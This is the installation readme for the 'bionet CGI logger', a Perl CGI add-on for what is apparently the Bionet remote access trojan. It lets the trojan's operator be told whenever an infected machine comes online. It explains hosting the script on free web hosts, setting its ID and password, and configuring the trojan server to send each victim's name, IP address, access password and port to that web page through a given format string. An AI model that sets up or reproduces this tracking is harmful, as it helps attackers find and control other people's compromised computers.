Release 1.0

The bionet CGI logger.

Introduction.
----------------------

What is this demented creation you are all asking.
Well it is quite simple. 

The bionet logger is a simple perl script that can
be placed on a webserver in order to keep a log of when
bionet servers come online.

but Why??

CGI notification just adds another method in addution to 
things such as ICQ's www pagers.

Although bionet has had CGI support for over a year now
(well before S7) people have been requesting I write a script.

If you dont know what perl is or anything about CGI, 
I suggest learning about it first.


How it works.
----------------------
In order to use this you simply place the scripts on
a webserver with CGI support and set up the CGI notification
on the bionet server.
You can then simply go to the website and view the latest log.


CGI Installation 
----------------------

Step 1
----------------------

 The first thing you will need is a webserver with CGI support.
 There are many places where you can get one of these for free
 Here is a list of a few...

  www.virtualave.net 
  www.hypermart.net  
  www.vr9.com        


Step 2
----------------------
 
 The next step is to configure the script.
 First open up the script file "blog.pl" in an editor
 such as notepad.


 There are a few variables in this file that you must change
 in order to get it to work.
 
 First you must set the path to where perl is located on
 your server.

 most servers use these paths to perl:

  /usr/bin/perl
  /usr/local/bin/perl



 now the first variable you come accorss is

   $checksum = "bnsipn";  


 This is used as a unique identifier. 
 So that other people cannot use your CGI or flood your 
 site with false logs you should change "bnsipn" with 
 a unique string of your own e.g

   $checksum = "myuniqueID";  

 NOTE: 

  Remember this value as you will need it when setting up the
  server!

----------------------

 the next value you will come accross is

   $path     = 'logger/' ; 

 this is the path where you are going to upload the logger.
 for example if you uploaded the log into
 
 "http://server.com/logger/"

 then you will have to change the path to

 $path   =  "/logger/"

----------------------


 now we come on to the script variable.
 This should be the URL for the script file.
 e.g if your script is localted at  "www.myserver.com/logger/blog.pl"

 then set script to

   $script   = 'www.myserver.com/logger/blog.pl' ;


----------------------


 next up is the log file name.
 This is the name of the file where will will be storing the data.
 I do not reccomend changing the name of this file.
 If you do then you will need to remember the name later on.

    $logfile   = 'bnllog';    # file to store log



----------------------

 next...
 This is the password variable and guess what?
 it stores the password for the script.
 This allows you to stop people accessing the board unless
 they know the password.
 The default is set to "password"
 
   $password  = 'password';  # password to access the logger

  dont forget this as you will need it to view the board.

----------------------

finally the post limit
 
 $POST_LIMIT = 20;

this indicates how many messages to keep in the log.
20 = max of 20 messages, -1 = infinate.
Be warned however if you set it to unlimited the log will continue to
grow untill you clear the log or you run out of space.


Uploading..
----------------------

 Once you have uploaded the files to your server
 you must make sure they have the right file permissions.
 You must CHMOD the files to 755


Viewing the log
----------------------

if you uploaded the log to "www.myserver.com/logger/blog.pl"
then simply go to www.myserver.com/logger/blog.pl.

A password page will be displayed here you must enter the log password
that you set in the script options.

After entering the correct password the log will be displayed.



Setting up the bionet server
----------------------------

 Now that you have your script installed
 you need to configure a bionet server.

 When you have the editor loaded under CGI notification set the following options.

 1 turn on the GCI notification check box.
 2 Set the URL to the URL of the script e.g  www.myserver.com/logger/blog.pl
 3 Set the Format to 

   nick=%victim_name&ctype=%ctype&ip=%ip&ver=%version&pass=%pass&port=%port&request=1&id=bnsipn

 Remember the checksum value in the script settings? ($checksum )
 well by default..

 $checksum = "bnsipn";  

 if you look at the end of the format line i told you to type in it has
 "&id=bnsipn"

 if you changed the checksum then you must change this also.
 For example if you had
 
   $checksum = "mycheckid"; 

then the format line must read

  nick=%victim_name&ctype=%ctype&ip=%ip&ver=%version&pass=%pass&port=%port&request=1&id=mycheckid


... and thats it!

- Rezmond






